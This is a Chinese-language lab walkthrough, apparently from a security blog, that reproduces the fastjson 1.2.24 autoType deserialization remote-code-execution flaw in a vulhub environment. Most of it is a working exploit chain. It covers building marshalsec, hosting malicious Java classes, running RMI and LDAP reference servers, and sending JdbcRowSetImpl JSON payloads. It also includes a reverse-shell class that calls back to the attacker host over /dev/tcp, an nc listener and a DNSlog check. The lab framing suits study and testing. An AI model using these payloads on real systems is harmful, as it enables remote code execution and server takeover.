fastjson 简介
阿里巴巴开源的 json 解析库,基于 java 编写。用于在 java 和 json 数据之间进行转换,它提供了一种简单而高效的方式来序列化 java 对象为 json 格式字符串,也可以将 json 字符串转换为 java 对象。fastjson 可以操作各种类型 java 对象,即使是一些预先存在但没有源码的对象,使用比较广泛。
漏洞原理
目标网站在解析 json 时存在自动类型转换功能(autoType),未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,攻击者构造对应的 payload,让系统执行,就能达到代码执行,甚至命令执行的目的。
官方解释为:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响版本
受影响版本范围:fastjson<=1.2.24
漏洞环境
靶机:vulhub_centos7(192.168.237.190)
运行测试环境
cd vulhub/fastjson/1.2.24-rce docker-compose up -d
查看运行的容器
docker ps
环境运行后,访问 http://192.168.237.190:8090 即可看到 json 格式的输出
漏洞复现
攻击机:kali2024.2(192.168.237.174)
java 版本为 8u202
漏洞验证
使用 curl 命令发送一个 post 请求,即可更新服务端信息
curl http://192.168.237.190:8090/ -H "Content-Type: application/json" --data '{"name":"hahaha", "age":20}'
可以看到 name 和 age 都变为我们提交的请求值,成功返回了 json 格式的请求结果,没有报错
可以说明存在该漏洞
也可以 burp 抓包检测
将 GET 请求改为 POST,Content-Type 字段改为application/json,添加请求参数
{"name":"hahaha", "age":20}
发送请求,可以看到返回包里的 name 和 age 和我们的请求值一致
漏洞利用
安装 maven
下载地址(这两个链接都可)
https://maven.apache.org/download.cgi
https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/
wget https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
下载完成先创建 mvn 文件夹
mkdir -p /usr/local/apache-maven cp apache-maven-3.6.3-bin.tar.gz /usr/local/apache-maven cd /usr/local/apache-maven/ tar -xzvf apache-maven-3.6.3-bin.tar.gz update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.6.3/bin/mvn 1 update-alternatives --config mvn
添加全局变量
vim /etc/profile
JAVA_HOME=/usr/local/apache-maven/apache-maven-3.6.3 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin MAVEN_OPTS="-Xms256m -Xmx512m" export JAVA_HOME export PATH export MAVEN_OPTS
刷新配置,使文件生效
source /etc/profile exit
查看 mvn 版本
mvn -version
可以看到 mvn 环境已经安装成功
安装反序列化工具 marshalsec
下载地址:
https://github.com/mbechler/marshalsec
克隆文件
git clone https://github.com/mbechler/marshalsec.git
进入 marshalsec 项目文件夹里,用 maven 环境执行如下命令进行编译,编译成功会生成一个 target 目录
mvn clean package -DskipTests
可以看到 target 目录已生成
在 target 目录下会生成 marshalsec-0.0.3-SNAPSHOT-all.jar 文件
本地写一个 test.java,内容如下
// javac test.java import java.lang.Runtime; import java.lang.Process; public class test { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/test666"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
编译生成 test.class 文件
javac test.java
然后在当前目录用 python 开一个 http 服务
python -m http.server 6688
这个时候需要启动一个 rmi 服务器,将这个 rmi 服务器在本地监听,如果有人远程调用 test 方法,就会访问 python 共享的 test.class
构建 rmi 服务器需要 marshalsec-0.0.3--SHOT-all.jar ,也就是用 mvn 编译生成的文件,也可以直接下载
https://github.com/RandomRobbieBF/marshalsec-jar
开启 rmi 服务
cd target java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#test" 6655
上述中#后面加上test.class的名称 test 即可,后面的端口号为 6655,需要使用fastjson漏洞调用远程请求监听的 rmi 服务器
最后一步需要构造payload,如下,手动抓包时注意,需要将 GET 更改为POST,将Content-Type改为application/json
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.237.174:6655/test", "autoCommit":true } }
响应包返回 500,进入服务器查看是否生成文件 test666
docker exec -it d6403 /bin/bash
成功生成文件
反弹 shell,修改文件内容
// javac shell.java import java.lang.Runtime; import java.lang.Process; public class shell { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.237.174/2233 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
编译.java 文件,生成.class 文件
javac shell.java
然后重复上述操作
开启 rmi 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#shell" 6655
构造 payload
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.237.174:6655/shell", "autoCommit":true } }
监听反弹语句中的端口
nc -lvvp 2233
成功反弹 shell
查看共享
执行命令
ip addr whoami
上述为基于 rmi 的利用方式
那么基于 ldap 应该如何利用
开启 ldap 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.237.174:6688/#shell" 6677
构造 payload
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.237.174:6677/shell", "autoCommit":true } }
监听反弹 shell 中的端口
nc -lvvp 2233
查看共享
ldap 利用也可以打 dns
修改 payload
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://srgw1c.dnslog.cn", "autoCommit":true } }
查看 dnslog 记录
参考链接:
https://www.freebuf.com/vuls/208339.html
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)